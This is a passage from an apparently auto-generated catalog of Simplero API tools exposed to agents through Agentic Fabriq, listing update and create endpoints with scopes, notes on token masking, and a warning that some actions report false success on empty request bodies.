nodes cannot be updated via this endpoint — use the html_section update endpoint (POST builder/content/html_section) instead. Answers {"data": {...}}. PATCH /api/v1/simplero/api/v2/pages/{id}/builder/content/nodes/{node_id}. Scopes: api. simplero_patch_api_v2_pipeline_stages_by_id (write) — Update a pipeline stage via PATCH /api/v2/pipeline_stages/{id}. Answers {"data": {...}}. PATCH /api/v1/simplero/api/v2/pipeline_stages/{id}. Scopes: api. simplero_patch_api_v2_pipelines_by_id (write) — Update a pipeline via PATCH /api/v2/pipelines/{id}. Answers {"data": {...}}. PATCH /api/v1/simplero/api/v2/pipelines/{id}. Scopes: api. simplero_patch_api_v2_podcast_episodes_by_id (write) — Update a episode via PATCH /api/v2/podcast_episodes/{id}. Answers {"data": {...}}. Agentic Fabriq masks Simplero's opaque access tokens in this result (`token`, `stealme_token`, `freebie_token`, and a contact's `key`): they are share-and-access capabilities, and a tool result is not redacted anywhere else. Ids, names and every other field come through unchanged; read the token itself in Simplero's own admin UI if you need it. PATCH /api/v1/simplero/api/v2/podcast_episodes/{id}. Scopes: api. simplero_patch_api_v2_podcasts_by_id (write) — Update a podcast via PATCH /api/v2/podcasts/{id}. Answers {"data": {...}}. Agentic Fabriq masks Simplero's opaque access tokens in this result (`token`, `stealme_token`, `freebie_token`, and a contact's `key`): they are share-and-access capabilities, and a tool result is not redacted anywhere else. Ids, names and every other field come through unchanged; read the token itself in Simplero's own admin UI if you need it. PATCH /api/v1/simplero/api/v2/podcasts/{id}. Scopes: api. simplero_patch_api_v2_price_periods_by_id (write) — Update a price period via PATCH /api/v2/price_periods/{id}. Answers {"data": {...}}. Agentic Fabriq masks Simplero's opaque access tokens in this result (`token`, `stealme_token`, `freebie_token`, and a contact's `key`): they are share-and-access capabilities, and a tool result is not redacted anywhere else. Ids, names and every other field come through unchanged; read the token itself in Simplero's own admin UI if you need it. PATCH /api/v1/simplero/api/v2/price_periods/{id}. Scopes: api. simplero_patch_api_v2_prices_by_id (write) — Update a price via PATCH /api/v2/prices/{id}. Answers {"data": {...}}. Agentic Fabriq masks Simplero's opaque access tokens in this result (`token`, `stealme_token`, `freebie_token`, and a contact's `key`): they are share-and-access capabilities, and a tool result is not redacted anywhere else. Ids, names and every other field come through unchanged; read the token itself in Simplero's own admin UI if you need it. PATCH /api/v1/simplero/api/v2/prices/{id}. Scopes: api. simplero_patch_api_v2_product_variants_by_id (write) — Update a variant via PATCH /api/v2/product_variants/{id}. Answers {"data": {...}}. Agentic Fabriq masks Simplero's opaque access tokens in this result (`token`, `stealme_token`, `freebie_token`, and a contact's `key`): they are share-and-access capabilities, and a tool result is not redacted anywhere else. Ids, names and every other field come through unchanged; read the token itself in Simplero's own admin UI if you need it. PATCH /api/v1/simplero/api/v2/product_variants/{id}. Scopes: api. simplero_patch_api_v2_products_by_id (write) — Update a product via PATCH /api/v2/products/{id}. Answers {"data": {...}}. Agentic Fabriq masks Simplero's opaque access tokens in this result (`token`, `stealme_token`, `freebie_token`, and a contact's `key`): they are share-and-access capabilities, and a tool result is not redacted anywhere else. Ids, names and every other field come through unchanged; read the token itself in Simplero's own admin UI if you need it. PATCH /api/v1/simplero/api/v2/products/{id}. Scopes: api. simplero_patch_api_v2_quiz_answers_by_id (write) — Update a quiz answer via PATCH /api/v2/quiz_answers/{id}. Answers {"data": {...}}. Agentic Fabriq masks Simplero's opaque access tokens in this result (`token`, `stealme_token`, `freebie_token`, and a contact's `key`): they are share-and-access capabilities, and a tool result is not redacted anywhere else. Ids, names and every other field come through unchanged; read the token itself in Simplero's own admin UI if you need it. PATCH /api/v1/simplero/api/v2/quiz_answers/{id}. Scopes: api. simplero_patch_api_v2_quiz_questions_by_id (write) — Update a quiz question via PATCH /api/v2/quiz_questions/{id}. Answers {"data": {...}}. Agentic Fabriq masks Simplero's opaque access tokens in this result (`token`, `stealme_token`, `freebie_token`, and a contact's `key`): they are share-and-access capabilities, and a tool result is not redacted anywhere else. Ids, names and every other field come through unchanged; read the token itself in Simplero's own admin UI if you need it. PATCH /api/v1/simplero/api/v2/quiz_questions/{id}. Scopes: api. simplero_patch_api_v2_scheduling_links_by_id (write) — Update a scheduling link via PATCH /api/v2/scheduling_links/{id}. Answers {"data": {...}}. Agentic Fabriq masks Simplero's opaque access tokens in this result (`token`, `stealme_token`, `freebie_token`, and a contact's `key`): they are share-and-access capabilities, and a tool result is not redacted anywhere else. Ids, names and every other field come through unchanged; read the token itself in Simplero's own admin UI if you need it. PATCH /api/v1/simplero/api/v2/scheduling_links/{id}. Scopes: api. simplero_patch_api_v2_site_redirects_by_id (write) — Update a redirect via PATCH /api/v2/site_redirects/{id}. Answers {"data": {...}}. Agentic Fabriq masks Simplero's opaque access tokens in this result (`token`, `stealme_token`, `freebie_token`, and a contact's `key`): they are share-and-access capabilities, and a tool result is not redacted anywhere else. Ids, names and every other field come through unchanged; read the token itself in Simplero's own admin UI if you need it. PATCH /api/v1/simplero/api/v2/site_redirects/{id}. Scopes: api. simplero_patch_api_v2_sites_by_id (write) — Update a site via PATCH /api/v2/sites/{id}. Answers {"data": {...}}. Agentic Fabriq masks Simplero's opaque access tokens in this result (`token`, `stealme_token`, `freebie_token`, and a contact's `key`): they are share-and-access capabilities, and a tool result is not redacted anywhere else. Ids, names and every other field come through unchanged; read the token itself in Simplero's own admin UI if you need it. PATCH /api/v1/simplero/api/v2/sites/{id}. Scopes: api. simplero_patch_api_v2_steps_by_id (write) — Update a automation step via PATCH /api/v2/steps/{id}. Answers {"data": {...}}. Agentic Fabriq masks Simplero's opaque access tokens in this result (`token`, `stealme_token`, `freebie_token`, and a contact's `key`): they are share-and-access capabilities, and a tool result is not redacted anywhere else. Ids, names and every other field come through unchanged; read the token itself in Simplero's own admin UI if you need it. PATCH /api/v1/simplero/api/v2/steps/{id}. Scopes: api. simplero_patch_api_v2_survey_responses_by_id (write) — Update a survey response via PATCH /api/v2/survey_responses/{id}. Answers {"data": {...}}. Agentic Fabriq masks Simplero's opaque access tokens in this result (`token`, `stealme_token`, `freebie_token`, and a contact's `key`): they are share-and-access capabilities, and a tool result is not redacted anywhere else. Ids, names and every other field come through unchanged; read the token itself in Simplero's own admin UI if you need it. PATCH /api/v1/simplero/api/v2/survey_responses/{id}. Scopes: api. simplero_patch_api_v2_surveys_by_id (write) — Update a survey via PATCH /api/v2/surveys/{id}. Answers {"data": {...}}. Agentic Fabriq masks Simplero's opaque access tokens in this result (`token`, `stealme_token`, `freebie_token`, and a contact's `key`): they are share-and-access capabilities, and a tool result is not redacted anywhere else. Ids, names and every other field come through unchanged; read the token itself in Simplero's own admin UI if you need it. PATCH /api/v1/simplero/api/v2/surveys/{id}. Scopes: api. simplero_patch_api_v2_tags_by_id (write) — Update a tag via PATCH /api/v2/tags/{id}. Answers {"data": {...}}. Agentic Fabriq masks Simplero's opaque access tokens in this result (`token`, `stealme_token`, `freebie_token`, and a contact's `key`): they are share-and-access capabilities, and a tool result is not redacted anywhere else. Ids, names and every other field come through unchanged; read the token itself in Simplero's own admin UI if you need it. PATCH /api/v1/simplero/api/v2/tags/{id}. Scopes: api. simplero_patch_api_v2_testimonials_by_id (write) — Update a testimonial via PATCH /api/v2/testimonials/{id}. Answers {"data": {...}}. Agentic Fabriq masks Simplero's opaque access tokens in this result (`token`, `stealme_token`, `freebie_token`, and a contact's `key`): they are share-and-access capabilities, and a tool result is not redacted anywhere else. Ids, names and every other field come through unchanged; read the token itself in Simplero's own admin UI if you need it. PATCH /api/v1/simplero/api/v2/testimonials/{id}. Scopes: api. simplero_patch_api_v2_tickets_by_id (write) — Update a ticket via PATCH /api/v2/tickets/{id}. Answers {"data": {...}}. Agentic Fabriq masks Simplero's opaque access tokens in this result (`token`, `stealme_token`, `freebie_token`, and a contact's `key`): they are share-and-access capabilities, and a tool result is not redacted anywhere else. Ids, names and every other field come through unchanged; read the token itself in Simplero's own admin UI if you need it. PATCH /api/v1/simplero/api/v2/tickets/{id}. Scopes: api. simplero_patch_api_v2_triggers_by_id (write) — Update a trigger via PATCH /api/v2/triggers/{id}. Answers {"data": {...}}. PATCH /api/v1/simplero/api/v2/triggers/{id}. Scopes: api. simplero_post_api_v2_actions (write) — Create a action via POST /api/v2/actions. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/actions. Scopes: api. simplero_post_api_v2_administratorships_by_id_actions_resurrect (write) — Resurrect (administratorships) via POST /api/v2/administratorships/{id}/actions/resurrect. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/administratorships/{id}/actions/resurrect. Scopes: api. simplero_post_api_v2_affiliate_programs (write) — Create a affiliate program via POST /api/v2/affiliate_programs. Answers {"data": {...}}. Agentic Fabriq masks Simplero's opaque access tokens in this result (`token`, `stealme_token`, `freebie_token`, and a contact's `key`): they are share-and-access capabilities, and a tool result is not redacted anywhere else. Ids, names and every other field come through unchanged; read the token itself in Simplero's own admin UI if you need it. POST /api/v1/simplero/api/v2/affiliate_programs. Scopes: api. simplero_post_api_v2_affiliate_programs_by_id_actions_add_labels (write) — Add labels (affiliate programs) via POST /api/v2/affiliate_programs/{id}/actions/add_labels. Answers {"data": {...}}. Simplero reports this action as a SUCCESS even when the request body omits the argument it acts on: an empty body answers 200 {"success": true} with the "Successfully performed ..." message and changes nothing (measured 2026-09-24 on add_tag, whose taggings count did not move). Send the body field the schema names, and confirm the effect by reading the record or its collection back -- the success message is not evidence. POST /api/v1/simplero/api/v2/affiliate_programs/{id}/actions/add_labels. Scopes: api. simplero_post_api_v2_affiliate_programs_by_id_actions_remove_label (write) — Remove label (affiliate programs) via POST /api/v2/affiliate_programs/{id}/actions/remove_label. Answers {"data": {...}}. Simplero reports this action as a SUCCESS even when the request body omits the argument it acts on: an empty body answers 200 {"success": true} with the "Successfully performed ..." message and changes nothing (measured 2026-09-24 on add_tag, whose taggings count did not move). Send the body field the schema names, and confirm the effect by reading the record or its collection back -- the success message is not evidence. POST /api/v1/simplero/api/v2/affiliate_programs/{id}/actions/remove_label. Scopes: api. simplero_post_api_v2_affiliate_programs_by_id_actions_star (write) — Star (affiliate programs) via POST /api/v2/affiliate_programs/{id}/actions/star. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/affiliate_programs/{id}/actions/star. Scopes: api. simplero_post_api_v2_affiliate_programs_by_id_actions_unstar (write) — Unstar (affiliate programs) via POST /api/v2/affiliate_programs/{id}/actions/unstar. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/affiliate_programs/{id}/actions/unstar. Scopes: api. simplero_post_api_v2_affiliates (write) — Create a affiliate via POST /api/v2/affiliates. Answers {"data": {...}}. Agentic Fabriq masks Simplero's opaque access tokens in this result (`token`, `stealme_token`, `freebie_token`, and a contact's `key`): they are share-and-access capabilities, and a tool result is not redacted anywhere else. Ids, names and every other field come through unchanged; read the token itself in Simplero's own admin UI if you need it. POST /api/v1/simplero/api/v2/affiliates. Scopes: api. simplero_post_api_v2_affiliates_by_id_actions_add_to_conversation (write) — Add to conversation (affiliates) via POST /api/v2/affiliates/{id}/actions/add_to_conversation. Answers {"data": {...}}. Simplero reports this action as a SUCCESS even when the request body omits the argument it acts on: an empty body answers 200 {"success": true} with the "Successfully performed ..." message and changes nothing (measured 2026-09-24 on add_tag, whose taggings count did not move). Send the body field the schema names, and confirm the effect by reading the record or its collection back -- the success message is not evidence. POST /api/v1/simplero/api/v2/affiliates/{id}/actions/add_to_conversation. Scopes: api. simplero_post_api_v2_affiliates_by_id_actions_approve (write) — Approve (affiliates) via POST /api/v2/affiliates/{id}/actions/approve. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/affiliates/{id}/actions/approve. Scopes: api. simplero_post_api_v2_affiliates_by_id_actions_approve_documentation (write) — Approve documentation via POST /api/v2/affiliates/{id}/actions/approve_documentation. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/affiliates/{id}/actions/approve_documentation. Scopes: api. simplero_post_api_v2_affiliates_by_id_actions_mark_paid (write) — Mark paid via POST /api/v2/affiliates/{id}/actions/mark_paid. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/affiliates/{id}/actions/mark_paid. Scopes: api. simplero_post_api_v2_affiliates_by_id_actions_move_to_other_affiliate_program (write) — Move to other affiliate program via POST /api/v2/affiliates/{id}/actions/move_to_other_affiliate_program. Answers {"data": {...}}. Simplero reports this action as a SUCCESS even when the request body omits the argument it acts on: an empty body answers 200 {"success": true} with the "Successfully performed ..." message and changes nothing (measured 2026-09-24 on add_tag, whose taggings count did not move). Send the body field the schema names, and confirm the effect by reading the record or its collection back -- the success message is not evidence. POST /api/v1/simplero/api/v2/affiliates/{id}/actions/move_to_other_affiliate_program. Scopes: api. simplero_post_api_v2_affiliates_by_id_actions_post_to_conversation (write) — Post message to conversation (affiliates) via POST /api/v2/affiliates/{id}/actions/post_to_conversation. Answers {"data": {...}}. Simplero reports this action as a SUCCESS even when the request body omits the argument it acts on: an empty body answers 200 {"success": true} with the "Successfully performed ..." message and changes nothing (measured 2026-09-24 on add_tag, whose taggings count did not move). Send the body field the schema names, and confirm the effect by reading the record or its collection back -- the success message is not evidence. POST /api/v1/simplero/api/v2/affiliates/{id}/actions/post_to_conversation. Scopes: api. simplero_post_api_v2_affiliates_by_id_actions_reject (write) — Reject (affiliates) via POST /api/v2/affiliates/{id}/actions/reject. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/affiliates/{id}/actions/reject. Scopes: api. simplero_post_api_v2_affiliates_by_id_actions_request_documentation (write) — Request documentation via POST /api/v2/affiliates/{id}/actions/request_documentation. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/affiliates/{id}/actions/request_documentation. Scopes: api. simplero_post_api_v2_affiliates_by_id_actions_resend_welcome (write) — Resend welcome via POST /api/v2/affiliates/{id}/actions/resend_welcome. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/affiliates/{id}/actions/resend_welcome. Scopes: api. simplero_post_api_v2_affiliates_by_id_actions_retire (write, destructive) — Retire via POST /api/v2/affiliates/{id}/actions/retire. Answers {"data": {...}}. DESTRUCTIVE: Retire. POST /api/v1/simplero/api/v2/affiliates/{id}/actions/retire. Scopes: api. simplero_post_api_v2_affiliates_by_id_actions_send_login_link (write) — Send login link via POST /api/v2/affiliates/{id}/actions/send_login_link. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/affiliates/{id}/actions/send_login_link. Scopes: api. simplero_post_api_v2_agentic_workflow_files (write) — Create a agentic workflow file via POST /api/v2/agentic_workflow_files. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/agentic_workflow_files. Scopes: api. simplero_post_api_v2_agentic_workflow_runs (write) — Create a agentic workflow run via POST /api/v2/agentic_workflow_runs. Answers {"data": {...}}. Agentic Fabriq masks Simplero's opaque access tokens in this result (`token`, `stealme_token`, `freebie_token`, and a contact's `key`): they are share-and-access capabilities, and a tool result is not redacted anywhere else. Ids, names and every other field come through unchanged; read the token itself in Simplero's own admin UI if you need it. POST /api/v1/simplero/api/v2/agentic_workflow_runs. Scopes: api. simplero_post_api_v2_agentic_workflow_runs_by_id_actions_message (write) — Send a message to a run via POST /api/v2/agentic_workflow_runs/{id}/actions/message. Everything a caller says to a run once it is under way. Send `answer` when the run is waiting on a question — `waiting_on` on the run says what it asked. A run picks messages up on its own; there is nothing else to call afterwards. Answers {"data": {...}}. Agentic Fabriq masks Simplero's opaque access tokens in this result (`token`, `stealme_token`, `freebie_token`, and a contact's `key`): they are share-and-access capabilities, and a tool result is not redacted anywhere else. Ids, names and every other field come through unchanged; read the token itself in Simplero's own admin UI if you need it. POST /api/v1/simplero/api/v2/agentic_workflow_runs/{id}/actions/message. Scopes: api. simplero_post_api_v2_agentic_workflow_runs_by_id_actions_pause (write) — Pause (agentic workflow runs) via POST /api/v2/agentic_workflow_runs/{id}/actions/pause. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/agentic_workflow_runs/{id}/actions/pause. Scopes: api. simplero_post_api_v2_agentic_workflow_runs_by_id_actions_resume (write) — Resume (agentic workflow runs) via POST /api/v2/agentic_workflow_runs/{id}/actions/resume. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/agentic_workflow_runs/{id}/actions/resume. Scopes: api. simplero_post_api_v2_agentic_workflow_runs_by_id_actions_stop (write) — Stop via POST /api/v2/agentic_workflow_runs/{id}/actions/stop. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/agentic_workflow_runs/{id}/actions/stop. Scopes: api. simplero_post_api_v2_agentic_workflows (write) — Create a agentic workflow via POST /api/v2/agentic_workflows. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/agentic_workflows. Scopes: api. simplero_post_api_v2_alternative_prices (write) — Create a alternative price via POST /api/v2/alternative_prices. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/alternative_prices. Scopes: api. simplero_post_api_v2_assets (write) — Create a media file via POST /api/v2/assets. Upload a file (image, video, document, etc.) via multipart form data. Answers {"data": {...}}. Agentic Fabriq masks Simplero's opaque access tokens in this result (`token`, `stealme_token`, `freebie_token`, and a contact's `key`): they are share-and-access capabilities, and a tool result is not redacted anywhere else. Ids, names and every other field come through unchanged; read the token itself in Simplero's own admin UI if you need it. POST /api/v1/simplero/api/v2/assets. Scopes: api. simplero_post_api_v2_assets_by_id_actions_add_labels (write) — Add labels (assets) via POST /api/v2/assets/{id}/actions/add_labels. Answers {"data": {...}}. Simplero reports this action as a SUCCESS even when the request body omits the argument it acts on: an empty body answers 200 {"success": true} with the "Successfully performed ..." message and changes nothing (measured 2026-09-24 on add_tag, whose taggings count did not move). Send the body field the schema names, and confirm the effect by reading the record or its collection back -- the success message is not evidence. POST /api/v1/simplero/api/v2/assets/{id}/actions/add_labels. Scopes: api. simplero_post_api_v2_assets_by_id_actions_apply_loudness_filter (write) — Normalize audio levels via POST /api/v2/assets/{id}/actions/apply_loudness_filter. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/assets/{id}/actions/apply_loudness_filter. Scopes: api. simplero_post_api_v2_assets_by_id_actions_deepgram (write) — Transcribe via POST /api/v2/assets/{id}/actions/deepgram. Answers {"data": {...}}. Simplero reports this action as a SUCCESS even when the request body omits the argument it acts on: an empty body answers 200 {"success": true} with the "Successfully performed ..." message and changes nothing (measured 2026-09-24 on add_tag, whose taggings count did not move). Send the body field the schema names, and confirm the effect by reading the record or its collection back -- the success message is not evidence. POST /api/v1/simplero/api/v2/assets/{id}/actions/deepgram. Scopes: api. simplero_post_api_v2_assets_by_id_actions_extract_text (write) — Extract text via POST /api/v2/assets/{id}/actions/extract_text. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/assets/{id}/actions/extract_text. Scopes: api. simplero_post_api_v2_assets_by_id_actions_force_restart_encoding (write) — Force restart encoding (will restart if any service job is not locked) via POST /api/v2/assets/{id}/actions/force_restart_encoding. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/assets/{id}/actions/force_restart_encoding. Scopes: api. simplero_post_api_v2_assets_by_id_actions_recreate_bookmarks (write) — Regenerate bookmarks from transcript (assets) via POST /api/v2/assets/{id}/actions/recreate_bookmarks. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/assets/{id}/actions/recreate_bookmarks. Scopes: api. simplero_post_api_v2_assets_by_id_actions_remove_label (write) — Remove label (assets) via POST /api/v2/assets/{id}/actions/remove_label. Answers {"data": {...}}. Simplero reports this action as a SUCCESS even when the request body omits the argument it acts on: an empty body answers 200 {"success": true} with the "Successfully performed ..." message and changes nothing (measured 2026-09-24 on add_tag, whose taggings count did not move). Send the body field the schema names, and confirm the effect by reading the record or its collection back -- the success message is not evidence. POST /api/v1/simplero/api/v2/assets/{id}/actions/remove_label. Scopes: api. simplero_post_api_v2_assets_by_id_actions_restart_encoding (write) — Restart encoding via POST /api/v2/assets/{id}/actions/restart_encoding. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/assets/{id}/actions/restart_encoding. Scopes: api. simplero_post_api_v2_assets_by_id_actions_resurrect (write) — Resurrect (assets) via POST /api/v2/assets/{id}/actions/resurrect. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/assets/{id}/actions/resurrect. Scopes: api. simplero_post_api_v2_assets_create_from_url (write) — Create an asset from a URL via POST /api/v2/assets/create_from_url. Import a file (image, video, document, etc.) into the media library from an external HTTP(S) URL — no multipart upload needed. Answers {"data": {...}}. Agentic Fabriq masks Simplero's opaque access tokens in this result (`token`, `stealme_token`, `freebie_token`, and a contact's `key`): they are share-and-access capabilities, and a tool result is not redacted anywhere else. Ids, names and every other field come through unchanged; read the token itself in Simplero's own admin UI if you need it. POST /api/v1/simplero/api/v2/assets/create_from_url. Scopes: api. simplero_post_api_v2_attachments (write) — Create a attachment via POST /api/v2/attachments. Answers {"data": {...}}. Agentic Fabriq masks Simplero's opaque access tokens in this result (`token`, `stealme_token`, `freebie_token`, and a contact's `key`): they are share-and-access capabilities, and a tool result is not redacted anywhere else. Ids, names and every other field come through unchanged; read the token itself in Simplero's own admin UI if you need it. POST /api/v1/simplero/api/v2/attachments. Scopes: api. simplero_post_api_v2_automations (write) — Create a automation via POST /api/v2/automations. Answers {"data": {...}}. Agentic Fabriq masks Simplero's opaque access tokens in this result (`token`, `stealme_token`, `freebie_token`, and a contact's `key`): they are share-and-access capabilities, and a tool result is not redacted anywhere else. Ids, names and every other field come through unchanged; read the token itself in Simplero's own admin UI if you need it. POST /api/v1/simplero/api/v2/automations. Scopes: api. simplero_post_api_v2_automations_by_id_actions_add_labels (write) — Add labels (automations) via POST /api/v2/automations/{id}/actions/add_labels. Answers {"data": {...}}. Simplero reports this action as a SUCCESS even when the request body omits the argument it acts on: an empty body answers 200 {"success": true} with the "Successfully performed ..." message and changes nothing (measured 2026-09-24 on add_tag, whose taggings count did not move). Send the body field the schema names, and confirm the effect by reading the record or its collection back -- the success message is not evidence. POST /api/v1/simplero/api/v2/automations/{id}/actions/add_labels. Scopes: api. simplero_post_api_v2_automations_by_id_actions_duplicate (write) — Duplicate (automations) via POST /api/v2/automations/{id}/actions/duplicate. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/automations/{id}/actions/duplicate. Scopes: api. simplero_post_api_v2_automations_by_id_actions_duplicate_copy (write) — Duplicate & also duplicate Library Emails via POST /api/v2/automations/{id}/actions/duplicate_copy. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/automations/{id}/actions/duplicate_copy. Scopes: api. simplero_post_api_v2_automations_by_id_actions_duplicate_reuse (write) — Duplicate & reuse same Library Emails via POST /api/v2/automations/{id}/actions/duplicate_reuse. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/automations/{id}/actions/duplicate_reuse. Scopes: api. simplero_post_api_v2_automations_by_id_actions_remove_label (write) — Remove label (automations) via POST /api/v2/automations/{id}/actions/remove_label. Answers {"data": {...}}. Simplero reports this action as a SUCCESS even when the request body omits the argument it acts on: an empty body answers 200 {"success": true} with the "Successfully performed ..." message and changes nothing (measured 2026-09-24 on add_tag, whose taggings count did not move). Send the body field the schema names, and confirm the effect by reading the record or its collection back -- the success message is not evidence. POST /api/v1/simplero/api/v2/automations/{id}/actions/remove_label. Scopes: api. simplero_post_api_v2_automations_by_id_actions_resurrect (write) — Resurrect (automations) via POST /api/v2/automations/{id}/actions/resurrect. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/automations/{id}/actions/resurrect. Scopes: api. simplero_post_api_v2_automations_by_id_actions_star (write) — Star (automations) via POST /api/v2/automations/{id}/actions/star. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/automations/{id}/actions/star. Scopes: api. simplero_post_api_v2_automations_by_id_actions_unstar (write) — Unstar (automations) via POST /api/v2/automations/{id}/actions/unstar. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/automations/{id}/actions/unstar. Scopes: api. simplero_post_api_v2_availabilities (write) — Create a availability preset via POST /api/v2/availabilities. Answers {"data": {...}}. Agentic Fabriq masks Simplero's opaque access tokens in this result (`token`, `stealme_token`, `freebie_token`, and a contact's `key`): they are share-and-access capabilities, and a tool result is not redacted anywhere else. Ids, names and every other field come through unchanged; read the token itself in Simplero's own admin UI if you need it. POST /api/v1/simplero/api/v2/availabilities. Scopes: api. simplero_post_api_v2_availabilities_by_id_actions_resurrect (write) — Resurrect (availabilities) via POST /api/v2/availabilities/{id}/actions/resurrect. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/availabilities/{id}/actions/resurrect. Scopes: api. simplero_post_api_v2_blog_posts_by_id_actions_add_facet_values (write) — Add facet values (blog posts) via POST /api/v2/blog_posts/{id}/actions/add_facet_values. Answers {"data": {...}}. Simplero reports this action as a SUCCESS even when the request body omits the argument it acts on: an empty body answers 200 {"success": true} with the "Successfully performed ..." message and changes nothing (measured 2026-09-24 on add_tag, whose taggings count did not move). Send the body field the schema names, and confirm the effect by reading the record or its collection back -- the success message is not evidence. POST /api/v1/simplero/api/v2/blog_posts/{id}/actions/add_facet_values. Scopes: api. simplero_post_api_v2_blog_posts_by_id_actions_add_labels (write) — Add labels (blog posts) via POST /api/v2/blog_posts/{id}/actions/add_labels. Answers {"data": {...}}. Simplero reports this action as a SUCCESS even when the request body omits the argument it acts on: an empty body answers 200 {"success": true} with the "Successfully performed ..." message and changes nothing (measured 2026-09-24 on add_tag, whose taggings count did not move). Send the body field the schema names, and confirm the effect by reading the record or its collection back -- the success message is not evidence. POST /api/v1/simplero/api/v2/blog_posts/{id}/actions/add_labels. Scopes: api. simplero_post_api_v2_blog_posts_by_id_actions_categorize (write) — Change categories via POST /api/v2/blog_posts/{id}/actions/categorize. Answers {"data": {...}}. Simplero reports this action as a SUCCESS even when the request body omits the argument it acts on: an empty body answers 200 {"success": true} with the "Successfully performed ..." message and changes nothing (measured 2026-09-24 on add_tag, whose taggings count did not move). Send the body field the schema names, and confirm the effect by reading the record or its collection back -- the success message is not evidence. POST /api/v1/simplero/api/v2/blog_posts/{id}/actions/categorize. Scopes: api. simplero_post_api_v2_blog_posts_by_id_actions_duplicate (write) — Duplicate (blog posts) via POST /api/v2/blog_posts/{id}/actions/duplicate. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/blog_posts/{id}/actions/duplicate. Scopes: api. simplero_post_api_v2_blog_posts_by_id_actions_duplicate_to_other_site (write) — Duplicate to other site (blog posts) via POST /api/v2/blog_posts/{id}/actions/duplicate_to_other_site. Answers {"data": {...}}. Simplero reports this action as a SUCCESS even when the request body omits the argument it acts on: an empty body answers 200 {"success": true} with the "Successfully performed ..." message and changes nothing (measured 2026-09-24 on add_tag, whose taggings count did not move). Send the body field the schema names, and confirm the effect by reading the record or its collection back -- the success message is not evidence. POST /api/v1/simplero/api/v2/blog_posts/{id}/actions/duplicate_to_other_site. Scopes: api. simplero_post_api_v2_blog_posts_by_id_actions_move_to_other_site (write) — Move to other site (blog posts) via POST /api/v2/blog_posts/{id}/actions/move_to_other_site. Answers {"data": {...}}. Simplero reports this action as a SUCCESS even when the request body omits the argument it acts on: an empty body answers 200 {"success": true} with the "Successfully performed ..." message and changes nothing (measured 2026-09-24 on add_tag, whose taggings count did not move). Send the body field the schema names, and confirm the effect by reading the record or its collection back -- the success message is not evidence. POST /api/v1/simplero/api/v2/blog_posts/{id}/actions/move_to_other_site. Scopes: api. simplero_post_api_v2_blog_posts_by_id_actions_publish (write) — Publish (blog posts) via POST /api/v2/blog_posts/{id}/actions/publish. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/blog_posts/{id}/actions/publish. Scopes: api. simplero_post_api_v2_blog_posts_by_id_actions_remove_facet_values (write) — Remove facet values (blog posts) via POST /api/v2/blog_posts/{id}/actions/remove_facet_values. Answers {"data": {...}}. Simplero reports this action as a SUCCESS even when the request body omits the argument it acts on: an empty body answers 200 {"success": true} with the "Successfully performed ..." message and changes nothing (measured 2026-09-24 on add_tag, whose taggings count did not move). Send the body field the schema names, and confirm the effect by reading the record or its collection back -- the success message is not evidence. POST /api/v1/simplero/api/v2/blog_posts/{id}/actions/remove_facet_values. Scopes: api. simplero_post_api_v2_blog_posts_by_id_actions_remove_label (write) — Remove label (blog posts) via POST /api/v2/blog_posts/{id}/actions/remove_label. Answers {"data": {...}}. Simplero reports this action as a SUCCESS even when the request body omits the argument it acts on: an empty body answers 200 {"success": true} with the "Successfully performed ..." message and changes nothing (measured 2026-09-24 on add_tag, whose taggings count did not move). Send the body field the schema names, and confirm the effect by reading the record or its collection back -- the success message is not evidence. POST /api/v1/simplero/api/v2/blog_posts/{id}/actions/remove_label. Scopes: api. simplero_post_api_v2_blog_posts_by_id_actions_resurrect (write) — Resurrect (blog posts) via POST /api/v2/blog_posts/{id}/actions/resurrect. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/blog_posts/{id}/actions/resurrect. Scopes: api. simplero_post_api_v2_blog_posts_by_id_actions_unpublish (write) — Unpublish (blog posts) via POST /api/v2/blog_posts/{id}/actions/unpublish. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/blog_posts/{id}/actions/unpublish. Scopes: api. simplero_post_api_v2_bot_sources (write) — Create a source via POST /api/v2/bot_sources. Answers {"data": {...}}. Agentic Fabriq masks Simplero's opaque access tokens in this result (`token`, `stealme_token`, `freebie_token`, and a contact's `key`): they are share-and-access capabilities, and a tool result is not redacted anywhere else. Ids, names and every other field come through unchanged; read the token itself in Simplero's own admin UI if you need it. POST /api/v1/simplero/api/v2/bot_sources. Scopes: api. simplero_post_api_v2_bot_sources_by_id_actions_delete (write, destructive) — Delete Source via POST /api/v2/bot_sources/{id}/actions/delete. Answers {"data": {...}}. DESTRUCTIVE: Delete Source / Delete Opening message -- a POST that deletes the record. POST /api/v1/simplero/api/v2/bot_sources/{id}/actions/delete. Scopes: api. simplero_post_api_v2_bot_tiers (write) — Create a bot tier via POST /api/v2/bot_tiers. Answers {"data": {...}}. Agentic Fabriq masks Simplero's opaque access tokens in 